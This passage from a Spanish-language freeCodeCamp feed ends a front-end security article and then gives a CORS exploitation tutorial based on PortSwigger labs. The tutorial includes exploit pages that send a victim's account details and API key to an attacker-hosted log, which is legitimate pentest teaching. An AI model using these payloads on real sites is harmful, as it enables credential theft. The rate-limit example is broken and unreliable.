</code></pre><p><strong><strong>4. Minimiz</strong>a<strong> </strong>la Exposición de <strong>Dat</strong>os</strong></p><p>Solamente recoge y expón los datos cuando sea absolutamente necesario. Evitar incluir información sensible en los registros, URLs, o mensajes de error de API.</p><p>Por ejemplo, cuando depures un problema en producción, usa registros redactados para los datos sensibles:</p><pre><code class="language-javascript">console.log(`Usuario: ${user.name}, Contraseña: [REDACTADO]`);
</code></pre><p>Esto previene la exposición accidental de información sensible en tus registros.</p><!--kg-card-begin: html--><h3 id="integridad">Integridad</h3><!--kg-card-end: html--><p><a href="https://improvado.io/blog/data-integrity-explained">La Integridad de los datos</a> es más que asegurar que cada pieza de información permanezca precisa, y consistente, y no cambie en el curso de su ciclo de vida. En otras palabras, a medida que los datos viajen a través de la transmisión, procesamiento, o almacenamientos, nunca se dañe, o sea manipulado.</p><p>Esto requiere algo de proactividad, porque no estás solamente protegiendo la integridad de la información de los atacantes sino también tus propios sistemas o errores potenciales. Datos alterados pueden romper la funcionalidad o engañar a los usuarios. O los atacantes podrían modificar las entradas de datos para explotar vulnerabilidades, como ya discutí anteriormente.</p><p><strong>Convirtiendo la<strong> Integri</strong>dad<strong> </strong>en una<strong> </strong>Habilidad</strong></p><p>Si tu aplicación acepta entrada de usuario, tales como una dirección email, valídalo con un regex antes de enviarlo al servidor.</p><p><strong>Validación del lado del <strong>Client</strong>e<strong>:</strong></strong></p><pre><code class="language-javascript">const isValidEmail = (email) =&gt; /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
if (!isValidEmail(userInput)) {
    alert("Dirección de email inválido");
}
</code></pre><p><strong>Validación del lado del <strong>Serv</strong>idor<strong>:</strong></strong></p><pre><code class="language-javascript">const { body, validationResult } = require('express-validator');
app.post('/register', [
    body('email').isEmail().withMessage('Email inválido'),
    body('password').isLength({ min: 8 }).withMessage('La contraseña debe ser al menos 8 caracteres de largo'),
], (req, res) =&gt; {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }
    // Procesa entrada válida
});
</code></pre><p>Validación del lado del servidor actúa como una segunda capa de defensa. Usando un framework como Express en Node.js.</p><p>Acciones de usuario importantes, tales como modificar los detalles de la cuenta o eliminar datos, requiere confirmación explícita del usuario para prevenir cambios maliciosos o initencionales. Puedes usar un diálogo de confirmación para operaciones sensibles como eliminar una cuenta de usuario:</p><pre><code class="language-javascript">const deleteAccount = () =&gt; {
    const confirmed = window.confirm("¿Estás seguro que quieres eliminar tu cuenta?");
    if (confirmed) {
        // Procede con la eliminación de la cuenta
        fetch('/delete-account', { method: 'DELETE' });
    }
};
</code></pre><p>Sanitiza los datos para saducir cualquier caracter dañino o scripts antes de que se procesen. Usa librerías como DOMPurify para limpiar la entrada de usuario en una aplicación de React:</p><pre><code class="language-javascript">import DOMPurify from 'dompurify';
const sanitizedInput = DOMPurify.sanitize(userInput);
</code></pre><p>Esto asegura que contenido potencialmente malicioso, tales como <code>&lt;script&gt;alerta('XSS')&lt;/script&gt;</code>, sea neutralizado antes de renderizarse.</p><p>Para prevenir la manipulación del DOM, usa funciones de codificación para reducir el riesgo de ejecutar scripts malos u otras entradas de usuario. En React, usa el argumento <code>dangerouslySetInnerHTML</code> cuidadosamente y solamente con contenido sanado de forma apropiada.</p><pre><code class="language-javascript">const safeContent = DOMPurify.sanitize(unsafeContent);
return &lt;div dangerouslySetInnerHTML={{ __html: safeContent }} /&gt;;
</code></pre><p>La Codificación previene que el contenido generado por el usuario sea ejecutado como código.</p><p>Y no te olvides de mantener un ojo cerrado sobre cualquier script de tercero regularmente para asegurar que no hayan áreas de preocupación. Como ya he discutido antes, herramientas como Snyk o npm audit son usados para verificar vulnerabilidades en las dependencias. Abarca las vulnerabilidades señaladas con protintud al actualizar o reemplazar paquetes problemáticos. De forma adicional, asegura la implementación de soluciones de copias de seguridad robustos para proveer almacenamiento inmutable y encriptación de extremo a extremo para reducir el riesgo de pérdida de datos y de acceso no autorizado de forma significativa. Y no te olvides de mantener un ojo cerrado sobre cualquier script de terceros de forma regular para asegurarte que no hayan áreas de preocupación.</p><!--kg-card-begin: html--><h3 id="disponibilidad">Disponibilidad</h3><!--kg-card-end: html--><p>La Disponibilidad trata todo sobre acceso. ¿Tu aplicación de Front-end permanece operacional de manera confiable y accesible a tus usuarios? Si es así, incluso ante amenazas potenciales, entonces estás haciendo bien.</p><p>El éxito aquí es sobre diseñar soluciones que mantienen a la aplicación en ejecución, especialmente en tiempos de tráfico de usuario pesado, fallas de servidor, lo que quieras. No puedes tener una aplicación exitosa que se rompe todo el tiempo o posee una amenaza potencial debido al tiempo de inactividad.</p><p><strong>Convirtiendo la<strong> </strong>Disponibilidad<strong> </strong>en una<strong> </strong>Habilidad</strong></p><p>Como desarrollador de Front-end quien quiere enfocarse en la disponibilidad, tendrás que aprender a cómo:</p><p><strong><strong>1. Distrib</strong>uir<strong> </strong>el <strong>Tráfic</strong>o<strong> </strong>entre Servidores</strong></p><p>El balance de carga esparce las peticiones de usuarios a través de múltiples servidores para prevenir sobrecargar un sólo servidor y mantener la operación fluida durante el pico de tráfico. Si estás desplegando un Front-end en AWS, usa Balance de Carga Elástica (ELB en inglés) para distribuir el tráfico:</p><ul><li>Configura múltiples instancias de EC2 para hospedar tu aplicación.</li><li>Configura un ELB para enrutar las peticiones de usuarios de forma uniforme a través de estas instancias.</li><li>ELB también detecta instancias no sanas y re-enrute el tráfico a las sanas automáticamente.</li></ul><p><strong><strong>2. Implement</strong>a<strong> </strong>Guardar en caché los<strong> </strong>Mecanismos</strong></p><p>Guardar en caché frecuentemente recursos accesidos de forma local el cual reduce la carga de servidor y acelera las peticiones de usuario. Puedes usar la caché del navegador para almacenar archivos como imágenes, hojas de estilo, y scripts.</p><p><strong>Caché del lado del <strong>Client</strong>e<strong>:</strong></strong></p><p>En tus encabezados de respuesto de HTTP, pon directivas de control de caché:</p><pre><code class="language-bash">Cache-Control: public, max-age=31536000
</code></pre><p>Esto le dice a los navegadores que guarden en caché los recursos por un año para reducir las peticiones a tu servidor.</p><p><strong>Caché del lado del <strong>Serv</strong>idor<strong>:</strong></strong></p><p>Usa herramientas como Redis o Varnish Cache para almacenar datos dinámicos. Si estás usando un servidor de Node.js con Redis:</p><pre><code class="language-javascript">const redis = require('redis');
const client = redis.createClient();

app.get('/data', async (req, res) =&gt; {
    const cachedData = await client.get('key');
    if (cachedData) {
        return res.json(JSON.parse(cachedData));
    }
    const data = await fetchDataFromDatabase();
    client.setex('key', 3600, JSON.stringify(data)); // Caché por 1 hora
    res.json(data);
});
</code></pre><p><strong><strong>3. Implement</strong>a Reglas de Limitación de Tasa</strong></p><p>Al implementar reglas de limitación de tasa para limitar el número de solicitudes de la misma IP en un fragmento de tiempo dado, estás previniendo el abuso y asegurar la disponibilidad para todos los usuarios. Usa una librería como express-rate-limit en tu aplicación de Node.js:</p><pre><code class="language-javascript">const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
    windowMs: 15  60  1000, // 15 minutos
    max: 100, // Limita a cada IP 100 solicitudes por ventana
    message: "Demasiadas solicitudes de esta IP, por favor intente nuevamente más tarde.",
});
app.use(limiter);
</code></pre><p>Esto asegura que ningún usuario pueda abrumar a tus servidores, manteniendo la aplicación disponible para todos.</p><!--kg-card-begin: html--><h2 id="conclusion">Conclusión</h2><!--kg-card-end: html--><p>Recuerda, entender y aplicar estas habilidades importantes de ciberseguridad no es solo para el Back-end. Mientras que el desarrollo de Front-end se enfoca en las estéticas e interactividad, también es una línea crítica de defensa donde puedes mitigar amenazas antes de que se vuelvan problemas mayores.</p><p>La clave es saber cómo usar estas habilidades de forma que tu trabajo de Front-end sea tan seguro como tu trabajo de Back-end. He cubierto diferentes tipos de ataques y las habilidades necesarias para reducir los riesgos, pero solamente tendrás éxito si aprendes a aplicarlos por ti mismo.</p><p>Con algo de práctica y un entendimiento básico de cómo funciona la ciberseguridad, puedes crear aplicaciones amigables y seguras. Además, construir tus habilidades de ciberseguridad puede ayudarte en abrir nuevas oportunidades en el futuro, así que el mejor momento para abrazarlos es ahora.</p><p>Comienza a plicar estas ideas hoy, o siéntete libre de explorar recursos adicionales. No tengas miedo de invertir desarrollo personal de unirte a comunidades de ciberseguridad.</p><p>Pronto averiguarás cuán importante es entender ciberseguridad como un desarrollador moderno, y puedes contribuir a construir un futuro más resiliente y más seguro.</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Explotación de CORS: Cómo probar vulnerabilidades de recursos compartidos entre orígenes ]]>
                </title>
                <description>
                    <![CDATA[ Todos los navegadores web implementan un modelo de seguridad conocido como  Política de Mismo Origen (SOP - Same-Origin Policy). Esto restringe a los dominios que accedan y recuperen datos de otros recursos de dominios.  La política SOP ayuda en proteger a los usuarios de scripts maliciosos que podrían ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/explotacion-de-cors-como-probar-vulnerabilidades/</link>
                <guid isPermaLink="false">67520098728f02043f05f94d</guid>
                
                    <category>
                        <![CDATA[ Ciberseguridad ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cors ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Tue, 10 Dec 2024 17:18:52 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/12/possessed-photography-_E1PQXKUkMw-unsplash--4-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Todos los navegadores web implementan un modelo de seguridad conocido como <strong>Política de Mismo Origen (SOP - Same-Origin Policy)</strong>. Esto restringe a los dominios que accedan y recuperen datos de otros recursos de dominios. </p><p>La política SOP ayuda en proteger a los usuarios de scripts maliciosos que podrían acceder a datos sensibles o realizar acciones no autorizados en su nombre.</p><p>Por ejemplo, si <code><strong>business.com</strong></code> intenta realizar una solicitud HTTP a <code><strong>metrics.com</strong></code>, el navegador, por defecto, bloqueará la solicitud porque viene de un distinto dominio.</p><p>Por mucho que el SOP suene como una política de protección apropiada, no escala bien con las tecnologías de hoy en día que dependen uno del otro para operar. Por ejemplo, presenta desafíos a las APIs y microservicios que tienen casos de uso legítimos para acceder y compartir información entre dominios.</p><p>Por casos como este, hubo una necesidad para un nuevo mecanismo de seguridad que permitiría interacciones entre dominios. Es conocido como <strong>Intercambio de Recursos entre Orígenes</strong> (<strong>CORS</strong> en inglés).</p><p>Este artículo cubrirá lo básico de cómo funciona CORS e identificar vulnerabilidades comunes que pueden ocurrir cuando no implementas CORS correctamente. Aprenderemos cómo probar y explotar las configuraciones erróneas de esa forma al final de esta guía, tendrás un mejor entendimiento de cómo probar y validar para CORS durante una prueba de penetración (pentest).</p><p>Usaré los laboratorios (entornos) CORS de Port Swigger para demostrar la prueba y pasos de explotación.</p><h2 id="tabla-de-contenido"><strong><strong>Tabl</strong>a<strong> </strong>de<strong> C</strong>ontenido</strong></h2><ul><li>¿<a href="#que-es-cors">Qué es la Política de Origen entre Sitios (CORS)?</a></li><li><a href="#impacto-configuraciones-erroneas-cors">Impacto de las Configuraciones erróneas de CORS</a></li><li><a href="#identificar-cors">Cómo identificar CORS</a></li><li><a href="#casos-explotable-cors">Casos explotables de CORS</a></li><li><a href="#caso-inexplotable-comodin">Caso inexplotable</a></li><li><a href="#mitigaciones">Mitigaciones</a></li><li><a href="#recursos">Recursos</a></li></ul><!--kg-card-begin: html--><h2 id="que-es-cors">¿Qué es la Política de Origen entre Sitios (CORS)?</h2><!--kg-card-end: html--><p><strong>CORS</strong> es una característica de seguridad creada para relajar selectivamente las restricciones de SOP y permitir acceso controlado a recursos de distintos dominios. Las reglas de CORS permiten a los dominios especificar qué dominios pueden solicitar información de ellos al agregar cabeceras de HTTP específicas en la respuesta.</p><p>Hay varias cabeceras de HTTP relacionadas a CORS, pero estamos interesados en los dos que se relacionan a las vulnerabilidades vistas comúnmente – <code><strong>Access-Control-Allow-Origin</strong></code> y <code><strong>Access-Control-Allow-Credentials</strong></code>.</p><p><strong><strong>Access-Control-Allow-Origin:</strong> </strong>Esta cabecera especifica que los dominios permitidos lean el contenido de la respuesta. El valor puede ser un caracter comodín <code>(<strong>*</strong>)</code>, el cual indica que todos los dominios están permitidos, o lista de dominios separados por coma.</p><pre><code class="language-js">#Todos los dominios están permitidos
Access-Control-Allow-Origin: *   


#Lista de dominios separados por coma
Access-Control-Allow-Origin: example.com, metrics.com
</code></pre><p><strong><strong>Access-Control-Allow-Credentials</strong></strong>: Esta cabecera determina si el dominio permite pasar credenciales — tales como cookies o cabeceras de autorización en las solicitudes entre origen.</p><p>El valor de la cabecera es True o False. Si la cabecera es puesto a "true", el dominio permite enviar credenciales. Si se pone a "false," o no es incluido en la respuesta, entonces no se le permite.</p><pre><code class="language-js">#Permite pasar credenciales en las solicitudes
Access-Control-Allow-Credentials: true

#No permite pasarlos en las solicitudes
Access-Control-Allow-Credentials: false
</code></pre><!--kg-card-begin: html--><h2 id="impacto-configuraciones-erroneas-cors">Impacto de las Configuraciones erróneas de CORS</h2><!--kg-card-end: html--><p>Las Configuraciones erróneas de CORS pueden tener un impacto significativo en la seguridad de aplicaciones web. Abajo están las implicaciones principales:</p><ul><li><strong>Robo de Datos<strong>:</strong></strong> Los atacantes pueden usar las vulnerabilidades de CORS para robar datos sensibles de aplicaciones como claves API, claves SSH, Información Personal Identificable (PII), o credenciales de usuarios.</li><li><strong>Secuencias de comandos entre sitios <strong>(XSS)</strong></strong>: Los atacantes pueden usar las vulnerabilidades de CORS para realizar ataques XSS al inyectar scripts maliciosos en páginas web para robar tokens de sesión o realizar acciones no autorizados en el nombre del usuario.</li><li><strong>Ejecución de Código <strong>Remot</strong>o<strong> </strong></strong>en algunos casos (caso de <a href="https://quitten.github.io/StackStorm/">StackStorm</a>)</li></ul><!--kg-card-begin: html--><h2 id="identificar-cors">Cómo identificar CORS</h2><!--kg-card-end: html--><p>Cuando se prueba una aplicación para CORS, verificamos si cualquiera de las respuestas de la aplicación contienen las cabeceras de CORS. Podemos usar la funcionalidad de búsqueda en Burp Suite para buscar las cabeceras rápidamente.</p><p>En el ejemplo de abajo, busqué la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> y obtuve tres (3) respuestas. Una vez que las cabeceras son identificadas, podemos seleccionar las solicitudes y enviarlos al Repetidor para una análisis más detallado.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1678/1*73ksv0ZrBWRf8dQZ7TliOg.png" class="kg-image" alt="Image" width="1017" height="695" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1574/1*FVD7mLNMgvsdWa5XVV9MSA.png" class="kg-image" alt="Image" width="954" height="704" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 1 &amp; 2 </em></em></em>muestran la funcionalidad de búsqueda e<em><em><em>n Burp Suite </em></em></em>para buscar las cabeceras de<em><em><em> CORS.</em></em></em></em></p><p>Para identificar los problemas de CORS, podemos modificar la cabecera Origin en las solicitudes con múltiples valores y ver qué cabeceras de respuesta obtenemos de la aplicación. Hay cuatros (4) formas conocidas para hacer esto, los cuales veremos ahora.</p><h3 id="1-or-gines-reflejados"><strong><strong>1. Orígin</strong>e<strong>s</strong> Reflejados</strong></h3><p>Poner la cabecera Origin en la solicitud a un dominio arbitrario, tales como <code><strong>https://attackersdomain.com</strong></code>, y verificar la cabecera <code><strong>Access-Control-Allow-Origin</strong></code> en la respuesta. Si refleja el dominio exacto que supliste en la solicitud, significa que el dominio no filtra para ningún origen. </p><p>El riesgo de esta configuración errónea es alta si el dominio permite que las credenciales se pasan en las solicitudes. Podemos validar que al verificar si la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> también está incluida en la respuesta y es puesta a <code><strong>true</strong></code>.</p><p>Sin embargo, el riesgo es bajo si el pasar credenciales no está permitido, ya que el navegador no procesará las respuestas de solicitudes no autenticados.</p><p>📌 Para explotar orígenes reflejados, verificar la sección de explotación — Caso #1.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" class="kg-image" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 3 — </em></em></em>muestra<em><em><em> </em></em></em>el valor<em><em><em> </em></em></em>de la cabecera<em><em><em> Origin </em></em></em>incluido<em><em><em> </em></em></em>en la cabecera<em><em><em> Access-Control-Allow-Origin.</em></em></em></em></p><h3 id="2-or-genes-modificados"><strong><strong>2. Oríg</strong>e<strong>n</strong>e<strong>s</strong> Modificados</strong></h3><p>Poner la cabecera Origin a un valor que coincida con el dominio objetivo, pero agregar un prefijo o sufijo al dominio para verificar si hay cualquier validación sobre los inicios o finales del dominio.</p><p>Si no hay controles, podemos crear un dominio coincidente similar que elude la política de CORS en el dominio de destino. Por ejemplo, agregando un prefijo o sufijo al dominio <code><strong>metrics.com</strong></code> sería algo como <code><strong>attackmetrics.com</strong></code> o <code><strong>metrics.com.attack.com</strong></code>.</p><p>El riesgo de esta configuración errónea es considerado alto si el dominio permite pasar credenciales con la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> se ponga a <strong>true</strong>. El atacante puede crear un dominio de coincidente similar y recuperar información sensible del dominio de destino.</p><p>Pero el riesgo sería bajo si las solicitudes no autenticados no estuvieran permitidos.</p><p>📌 Para explotar orígenes modificados, verifica la sección de explotación — Caso #1.</p><h3 id="3-subdominios-de-confianza-con-protocolo-inseguro"><strong><strong>3. </strong>Subdominios de confianza<strong> </strong>con Protocolo Inseguro</strong></h3><p>Poner la cabecera Origin a un subdominio existente y ver si lo acepta. Si lo hace, significa que el dominio confía a todos sus subdominios. Esto no es una buena idea si uno de los subdominios tiene una vulnerabilidad de Secuencia de comandos entre Sitios (XSS), permitirá al atacante que inyecte un payload de JS malicioso y realizar acciones no autorizados.</p><p>Esta configuración errónea se considera de alto riesgo el dominio acepta subdominios con un protocolo inseguro, tales como HTTP, y la cabecera credencial se pone a <strong>true</strong>. De lo contrario, no será explotable y sería solamente una implementación pobre de CORS.</p><p>📌 Para explotar subdominios de confianza, verifica la sección de expltación — Caso #3.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*XDNb4TzErgfuuQzqYUv12w.png" class="kg-image" alt="Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web" width="1155" height="493" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 4 — </em></em></em>muestra<em><em><em> </em></em></em>la aplicación<em><em><em> acept</em></em></em>a<em><em><em> </em></em></em>subdominios inseguros arbitrarios<em><em><em>.</em></em></em></em></p><h3 id="4-or-gen-null"><strong><strong>4. Oríg</strong>e<strong>n</strong> Null</strong></h3><p>Pon la cabecera Origin al valor null – <code><strong>Origin: null</strong></code>, y ve si la aplicación pone la cabecera <code><strong>Access-Control-Allow-Origin</strong></code> a <strong>null</strong>. Si lo hace, significa que los orígenes null están en la lista blanca.</p><p>El nivel de riesgo es considerado alto si el dominio permite solicitudes autenticados con la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> puesto a <code><strong>true</strong></code><strong><strong>.</strong></strong></p><p>Pero si no lo hace, entonces el problema es considerado bajo, y no explotable.</p><p>📌 Para explotar los Orígenes Null, verifica la sección explotación – Caso #2.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" class="kg-image" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 5 — </em></em></em>muestra que<em><em><em> </em></em></em>la<em><em><em> </em></em></em>aplicación<em><em><em> </em></em></em>aceptó<em><em><em> </em></em></em>el valor<em><em><em> null </em></em></em>y<em><em><em> </em></em></em>lo regresó<em><em><em> </em></em></em>en la respuesta<em><em><em>.</em></em></em></em></p><!--kg-card-begin: html--><h2 id="casos-explotable-cors">Casos explotables de CORS</h2><!--kg-card-end: html--><p>En esta sección, veremos cómo explotar las configuraciones erróneas de CORS al categorizarlos como casos de prueba para una fácil comprensión.</p><h3 id="caso-1-origen-reflejado"><strong><strong>Cas</strong>o<strong> 1: Orig</strong>e<strong>n</strong> Reflejado</strong></h3><p>La aplicación es consideraba vulnerable cuando pone el <strong><strong>Access-Control-Allow-Origin</strong> </strong>al dominio que fue suplido por el atacante y permite pasar credenciales con el <strong><strong>Access-Control-Allow-Credentials</strong> </strong>puesto a <strong>true</strong>.</p><pre><code class="language-js">Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true
</code></pre><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" class="kg-image" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 6 — </em></em></em>muestra<em><em><em> </em></em></em>las cabeceras de<em><em><em> CORS</em></em></em> para orígen reflejado<em><em><em>.</em></em></em></em></p><p>La explotación requiere que el atacante aloje el script de JS en un servidor externo para que sea accesible al usuario. Luego tienen que crear una página HTML, incrustar el script de JS abajo, y enviarlo al usuario.</p><pre><code class="language-html">&lt;html&gt;
  &lt;body&gt;
    &lt;script&gt;

    #Inicializa el objeto XMLHttpRequest, y la variable URL de la aplicacion 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #El objeto MLHttpRequest carga, ejecuta la función reqListener()
      req.onload = retrieveKeys;

    #Realiza la solicitud GET a la ubicación accounDetails de la aplicacion
        req.open('GET', url + "/accountDetails",true);

    #Permite pasar credenciales con las solicitudes
    req.withCredentials = true;

    #Envía la solicitud
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  &lt;/script&gt;
  &lt;body&gt;
&lt;/html&gt;
</code></pre><p>Una vez que el usuario vistia la página alojada, automáticamente enviará una solicitud de CORS para recuperar información sobre el usuario de la ubicación especificado en el script. Entender la estructura de la aplicación y donde almacena su información sensible es esencial para este paso.</p><p>El script de arriba comienza con inicializar el objeto (XHR)<strong> <code>XMLHttpRequest</code></strong> que instruya al navegador web que transferiremos datos al y desde el servidor web usando el protocolo HTTP. XHR es una API del navegador que permite a los lenguajes del lado del cliente tales como JavaScript que realice solicitudes HTTP a un servidor y reciba sus respuestas de forma dinámica sin requerir que el usuario refresque la página.</p><p>Luego, le decimos al objeto que ejecute una función llamada <strong><strong><code>retrieveKeys</code></strong> </strong>que solicite la clave API del admin y nos envíe la respuesta cuando cargue.</p><p>Después, hacemos una solicitud GET especificando la ubicación del cual queremos obtener información y pasar nuestras credenciales con la función <code>Credentials</code> puesto a true.</p><p>La solicitud automáticamente será bloqueada y denegada si el servidor de la aplicación no permite pasar credenciales entre dominios. Pero sabemos que esto no sucederá aquí porque el <strong><code>Access-Control-Allow-Credentials</code></strong> está puesto a <strong>true</strong>.</p><p>Para demostrar cómo funciona el script, usaré el servidor de exploits PortSwigger el cual está disponible con el laboratorio para alojar el script de arriba.</p><p>Inicia sesión en la aplicación, haz clic en <strong><strong>“Go to exploit server,”</strong> </strong>y pega el script en el body (cuerpo). Luego haz clic en “<strong><strong>Deliver exploit to victim.”</strong> </strong>En un escenario real, necesitas enviar el enlace al usuario e intentar atraerlos para que le hagan clic.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1505/1*hIfdCKiIogCOquzGVz686w.png" class="kg-image" alt="Image" width="912" height="663" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1888/1*svwpXxlVZpxpqiRQV8u_hg.png" class="kg-image" alt="Image" width="1144" height="628" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 7 &amp; 8 — </em></em></em>muestra<em><em><em> </em></em></em>el proceso<em><em><em> </em></em></em>de alojar<em><em><em> </em></em></em>el payload de<em><em><em> JS </em></em></em>y<em><em><em> </em></em></em>entregarlo<em><em><em> </em></em></em>al usuario<em><em><em>.</em></em></em></em></p><p>Después de repartir el exploit, haz clic en <strong><strong>“Access log”</strong> </strong>y deberías ser capaz de ver la clave API del admin capturado en los logs. Copia la cadena que tiene la clave y pégalo en <strong>Decoder </strong>de Burp Suite y decodifícalo como una URL para recuperar el valor cleartext.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2584/1*2zq3p_IKD032TRHZdZPURA.png" class="kg-image" alt="Image" width="1566" height="566" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1787/1*5NNTx2nk9eLKT1fATokzCw.png" class="kg-image" alt="Image" width="1083" height="634" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 9 &amp; 10 — </em></em></em>muestran la clave API del<em><em><em> admin </em></em></em>en los<em><em><em> logs </em></em></em>y el valor de la clave en texto plano<em><em><em> </em></em></em>en el<em><em><em> Decoder.</em></em></em></em></p><h3 id="caso-2-origen-null"><strong><strong>Cas</strong>o<strong> 2: Or</strong>i<strong>g</strong>e<strong>n</strong> Null</strong></h3><p>La aplicación es considerada vulnerable cuando pone el <strong><strong>Access-Control-Allow-Origin</strong> </strong>al valor <strong>null</strong> y permite pasar credenciales con el <strong><strong><code>Access-Control-Allow-Credentials</code></strong> </strong>puesto a <strong>true</strong>.</p><pre><code class="language-js">Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
</code></pre><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" class="kg-image" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 11 — </em></em></em>muestra<em><em><em> </em></em></em>que el servidor de la aplicación<em><em><em> acept</em></em></em>a<em><em><em> </em></em></em>orígenes <em><em><em>null.</em></em></em></em></p><p>La explotación requiere que el archivo script de JS que hospedemos sea accesible al usuario objetivo (<em>lo mismo que en el caso #1</em>). Nuevamente, usaremos el mismo script – solo esta vez, agregaremos un sandbox iframe para recuperar la clave API. La propiedad sandbox pone el origen del frame a null así podemos poner la cabecera Origin al valor null. </p><pre><code class="language-html">&lt;html&gt;
    &lt;body&gt;
        &lt;iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        &lt;script&gt;
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        &lt;/script&gt;"&gt;&lt;/iframe&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre><p>Cuando el usuario autenticado hace clic en nuestro enlace <code><strong>http://192.168.1.14:5555/cors_null_poc.html</strong></code>, obtendremos la clave API de los detalles de la cuenta. Pero siendo que nuestro usuario no es un administrador, no seremos capaz de recuperar la clave API del administrador.</p><p>El punto de mostrar los pasos de abajo es que durante una evaluación de prueba de una aplicación web, como un tester, se te dará las cuentas de usuario regular y administrador para probarlos. En esos casos, sigues los pasos de abajo para mostrar tu prueba de concepta al hospedar el archivo de forma local. O, por supuesto, puedes hospedar el archivo de forma externa como una opción alternativa.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2412/1*a4Qtndhg7lDtOUriDT6CWA.png" class="kg-image" alt="Image" width="1462" height="622" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1916/1*MgEzSTxHOyF2oZQ1yNftnQ.png" class="kg-image" alt="Image" width="1161" height="691" loading="lazy"></figure><p><em>Figuras 12 &amp; 13</em> — muestra que el valor null se agrega a la cabecera de la solicitud, y el usuario accedió a la página cors_null<em><em>poc.</em></em></p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*ppYb-xcA4Fx-Doh3vw62HQ.png" class="kg-image" alt="Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting" width="1155" height="388" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 14 — </em></em></em>muestra los detalles de la cuenta de usuario cuando se hace clic al enlace<em><em><em>.</em></em></em></em></p><h3 id="caso-3-subdominios-confiables"><strong><strong>Cas</strong>o<strong> 3: </strong>Subdominios Confiables </strong></h3><p>La aplicación es considerada vulnerable cuando se pone <strong><strong>Access-Control-Allow-Origin</strong> </strong>a cualquiera de sus subdominios y se permite credenciales con <strong><strong>Access-Control-Allow-Credentials</strong> </strong>puesto a <strong>true</strong>.</p><p>La explotación de este caso es dependiente en si el subdominio existente es vulnerable a los ataques XSS para permitir al atacante que abuse de la configuración errónea.</p><pre><code class="language-js">Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true
